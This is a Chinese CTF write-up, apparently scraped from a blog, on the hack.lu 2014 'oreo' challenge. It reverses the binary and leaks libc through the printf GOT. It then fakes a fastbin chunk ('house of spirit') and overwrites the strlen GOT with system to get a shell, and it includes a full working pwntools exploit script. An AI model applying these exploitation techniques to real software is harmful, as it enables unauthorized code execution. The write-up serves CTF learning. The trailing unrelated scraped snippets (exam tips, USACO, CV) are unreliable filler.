2014-hack-lu-oreo 对技巧house of spirit

目录

  • 常规检查
  • 逆向分析
    • Add 函数
    • Show 函数
    • Order 函数
    • Leave 函数
    • show 函数
  • 利用思路
  • 利用过程
    • 泄露 libc 基址
    • 伪造区块到 0x804a2a0
    • 覆盖 got 表为 system 拿shell
  • exp脚本
  • 成功 get shell
  • 内容来源

常规检查

??没有开启 RELRO ,意味我们可以修改 got 表地址。

逆向分析

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action:

Add 函数

unsigned int add()
{
  char *v1; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  v1 = dword_804A288;
  dword_804A288 = malloc(0x38u);
  if ( dword_804A288 )
  {
    *(dword_804A288 + 13) = v1;
    printf("Rifle name: ");
    fgets(dword_804A288 + 25, 56, stdin);
    set0(dword_804A288 + 25);
    printf("Rifle description: ");
    fgets(dword_804A288, 56, stdin);
    set0(dword_804A288);
    ++dword_804A2A4;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}
  • dword_804A288:存储构造的块地址
  • *(dword_804A288 + 13):在块地址的 13 字节处写入上一个块的地址
  • *(dword_804A288 + 25):在块地址的 25 字节处写入 name ,可以写入 56 个字节,这里存在堆溢出
  • *(dword_804A288):在块地址的起始处写入 description ,可以写入 56 个字节,这里存在堆溢出
  • dword_804A2A4:记录 add 次数

Show 函数

unsigned int show()
{
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = dword_804A288; i; i = *(i + 13) )
  {
    printf("Name: %s\n", i + 25);
    printf("Description: %s\n", i);
    puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;
}

??(dword_804A288 + 13) 是上一个块的地址,所以 for 通过 (dword_804A288 + 13) 寻址遍历所有的块,并打印信息。

Order 函数

unsigned int order()
{
  char *ptr; // ST18_4
  char *v2; // [esp+14h] [ebp-14h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  v2 = dword_804A288;
  if ( dword_804A2A4 )
  {
    while ( v2 )
    {
      ptr = v2;
      v2 = *(v2 + 13);
      free(ptr);
    }
    dword_804A288 = 0;
    ++dword_804A2A0;
    puts("Okay order submitted!");
  }
  else
  {
    puts("No rifles to be ordered!");
  }
  return __readgsdword(0x14u) ^ v3;
}

??遍历并 free 掉所有块

  • dword_804A2A0:记录 order 的次数

Leave 函数

unsigned int leave()
{
  unsigned int v0; // ST1C_4

  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(dword_804A2A8, 128, stdin);
  set0(dword_804A2A8);
  return __readgsdword(0x14u) ^ v0;
}

??把 Message 写入 dword_804A2A8 处

show 函数

unsigned int show_0()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("======= Status =======");
  printf("New:    %u times\n", dword_804A2A4);
  printf("Orders: %u times\n", dword_804A2A0);
  if ( *dword_804A2A8 )
    printf("Order Message: %s\n", dword_804A2A8);
  puts("======================");
  return __readgsdword(0x14u) ^ v1;
}

??分别打印 new 次数, order 次数和 message 内容。

利用思路

利用过程

泄露 libc 基址

name = "A" * 27 + p32(elf.got['printf'])
desc = 'b' * 24

add(name,desc)
show()
r.recvuntil('Description: ')
r.recvuntil('Description: ')
printfAddr = u32(r.recvn(4))
baseAddr = printAddr = libc.symbols['printf']
systemAddr = baseAddr + libc.symbols['system']

??*(dword_804A288 + 13) 为 dword_804A288 后52个字节, name dword_804A288 + 25 为 dword_804A288 后 25 个字节,所以需要填充 27 个字节

伪造区块到 0x804a2a0

for i in range(0x3e):
    add('a'* 27 + p32(0), 'a')

orderMsgAddr = 0x804a2a8
vulnName = 'C' * 27 + p32(orderMsgAddr)
add(vulnName,'D' * 24)

orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
orderMsg += '\x00' * 4 + 'a' * 4 + p32(0x40)
leave(orderMsg)
order()

??我们想要一个能够让我们任意写的块,就需要用到 fastbin ,因为 fastbin 是 LIFO 的,只要我们 free 和 malloc 一样大小的 fastbin ,就能 malloc 到上次 free 的块。而 free 和 malloc 的时候都需要 size 满足 fastbin 的 index ,所以我们通过 add 0x40 次,将 fack chunk 的 size 改为 40。

gdb-peda$ x /20xg 0x0804a2a8
0x804a2a8:  0x000000000804a2c0  0x0000000000000000
0x804a2b8:  0x0000000000000000  0x6161616161616161
0x804a2c8:  0x6161616161616161  0x6161616161616161
0x804a2d8:  0x0000000061616161  0x0000004061616161

??malloc 的时候还需要绕过 next chunk 的大小判断,而我们的 messge 是从 00804a2c0 开始写的,于是我们可以算的 next chunk 的偏移并改 next chunk 的 size 为 0x40 (大于 2 * SIZE_SZ 且小于 av->system_mem 就可以),这样当我们再次再 add 的时候,就能 malloc 到起始地址为 0x804a2a0 的块。

覆盖 got 表为 system 拿shell

strlenGotAddr = p32(elf.got['strlen'])
add('b',strlenGotAddr)
leave(p32(systemAddr) + ';/bin/sh')

??这里首先把 strlen 的 got 表改为 system 地址,然后在 leave 的 set0 函数中还会再次调用 strlen ,就相当于调用了 system(system_got) 和 system(‘/bin/sh‘)。因为 system 函数有个特性,system("ls;/bin/sh") 就相当于 sytem("ls"); system("/bin/sh");。

exp脚本

from pwn_debug import *

pdbg = pwn_debug('oreo')
pdbg.local()
r = pdbg.run('local')
elf = ELF('./oreo')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

def add(name,desc):
    r.sendline('1')
    r.sendline(name)
    r.sendline(desc)

def show():
    r.sendline('2')

def order():
    r.sendline('3')

def leave(message):
    r.sendline('4')
    r.sendline(message)

name = "A" * 27 + p32(elf.got['printf'])
desc = 'b' * 24

add(name,desc)
show()
r.recvuntil('Description: ')
r.recvuntil('Description: ')
printfAddr = u32(r.recvn(4))
baseAddr = printfAddr - libc.symbols['printf']
systemAddr = baseAddr + libc.symbols['system']

for i in range(0x3e):
    add('a'* 27 + p32(0), 'a')

orderMsgAddr = 0x804a2a8
vulnName = 'C' * 27 + p32(orderMsgAddr)
add(vulnName,'D' * 24)

orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
orderMsg += '\x00' * 4 + 'a' * 4 + p32(0x40)
leave(orderMsg)

#gdb.attach(r)
order()

strlenGotAddr = p32(elf.got['strlen'])
add('b',strlenGotAddr)
leave(p32(systemAddr) + ';/bin/sh')

#gdb.attach(r)

r.interactive()

成功 get shell

内容来源

堆利用之 house of spirit

原文地址:https://www.cnblogs.com/luoleqi/p/12357237.html

时间: 2024-07-31 12:16:00

2014-hack-lu-oreo 对技巧house of spirit的相关文章

2014四川造价工程师考试技巧,题型题量,高分在手

赶考在线总结了以下十点知识点记忆技巧:1. 建设项目总投资包括固定资产投资(又叫工程造价)和流动资产投资(又叫流动资金). 2. 固定资产投资包括:设备工器具购置费(设备购置费.工器具及生产家具购置费).建筑安装工程费(直接费.间接费.利润.税金).工程建设其他费(土地使用费.与项目建设有关的费用.与未来企业生产经营有关的费用).预备费(基本预备费.涨价预备费).建设期贷款利息.固定资产投资方向调节税. 3. 基本预备费=(设备工器具购置费+建筑安装工程费+工程建设其他费)*基本预备费率 4.

USACO 2014 US Open Fair Photography /// 技巧

题目大意: 给定n头奶牛 给定n头奶头所在位置和品种 品种只有G H两种 求一段区间的长度 要求区间内包含的品种满足各品种的数量相同 将一个品种的值设为1 另一个设为-1 假设 i<j 而 1~i的奶牛前缀和 与 1~j的奶牛前缀和 相等 说明 i+1~j 的奶牛总和为0 即两种奶牛的数量相同 #include <bits/stdc++.h> using namespace std; #define LL long long #define INF 0x3f3f3f3f #define

必学的 SQL Server 2014 数据库管理技巧(繁体中文视频)

必學的 SQL Server 2014 資料庫管理技巧 https://channel9.msdn.com/Series/Updating-your-Database-Management-Skills-to-SQL-Server-2014-CHT 视频可能没法直接看,不过可以下载mp4 只做优秀知识的搬运工

信息安全领域有哪些非常棒的资源?

干货大放送!Github最全渗透测试资源! 在线资源: 渗透测试资源:Metasploit Unleashed 链接地址 - 免费攻防安全metasploita课程PTES 链接地址 - 渗透测试执行标准OWASP 链接地址 - 开源Web应用安全项目 Shellcode开发:Shellcode Tutorials 链接地址 - 如何写shellcode的指导Shellcode Examples 链接地址 - Shellcode数据库 社会工程学资源:社工库框架 链接地址 - 社工所需信息资源

国外整理的一套在线渗透测试资源合集

http://bobao.360.cn/news/detail/1132.html 在线资源 渗透测试资源 Metasploit Unleashed - 免费的metasploit教程 PTES - 渗透测试执行标准 OWASP - 开放式Web应用程序安全项目 OSSTMM - 开源安全测试方法手册 Shell 脚本资源 LSST - linux shell脚本教程 Linux 资源 Kernelnewbies - 一个出色的Linux内核资源的社区 Shellcode 开发 Shellcod

【渗透测试 在线资源】

在线资源 渗透测试资源 Metasploit Unleashed - 免费的metasploit教程 PTES - 渗透测试执行标准 OWASP - 开放式Web应用程序安全项目 OSSTMM - 开源安全测试方法手册 Shell 脚本资源 LSST - linux shell脚本教程 Linux 资源 Kernelnewbies - 一个出色的Linux内核资源的社区 Shellcode 开发 Shellcode Tutorials - 如何编写shellcode的教程 Shellcode e

sass语法练习解析--实例练习

暂时使用的是:Koala,监测转义 $fff: #ffffff; $red:red; h1{ color: $fff; } 简单调用 #content{ color: $fff; .con{ content: $red; } } 或者: #content,#nei{ a{ color: $fff; } } #content a{color: #fff; } #nei a{color: #fff; } 嵌套(css里面嵌套要复制什么的,挺麻烦) #content a{ color: $fff; &

Channel 9视频整理(4)

Eric ShangKuan 目前服務於台灣微軟,擔任技術傳教士 (Technical Evangelist) 一職,網路上常用的 ID 為 ericsk,對於各項開發技術如:Web.Mobile.Apps.Cloud 等十分有熱情,並且與各開發人員及社群維持良好互動,曾經擔任過 COSCUP.OSDC.tw.JSDC.tw.PyCon.tw.Microsoft Techdays Taiwan 講師.在加入微軟之前,曾經組織 Taipei GTUG (Google Technology User

Dr Wei Min Huang

 Curriculum Vitae Dr Wei Min Huang is currently an Associate Professor (tenured) at the School of Mechanical and Aerospace Engineering, Nanyang Technological University, Singapore. With over 20 years of experience on various shape memory materials (a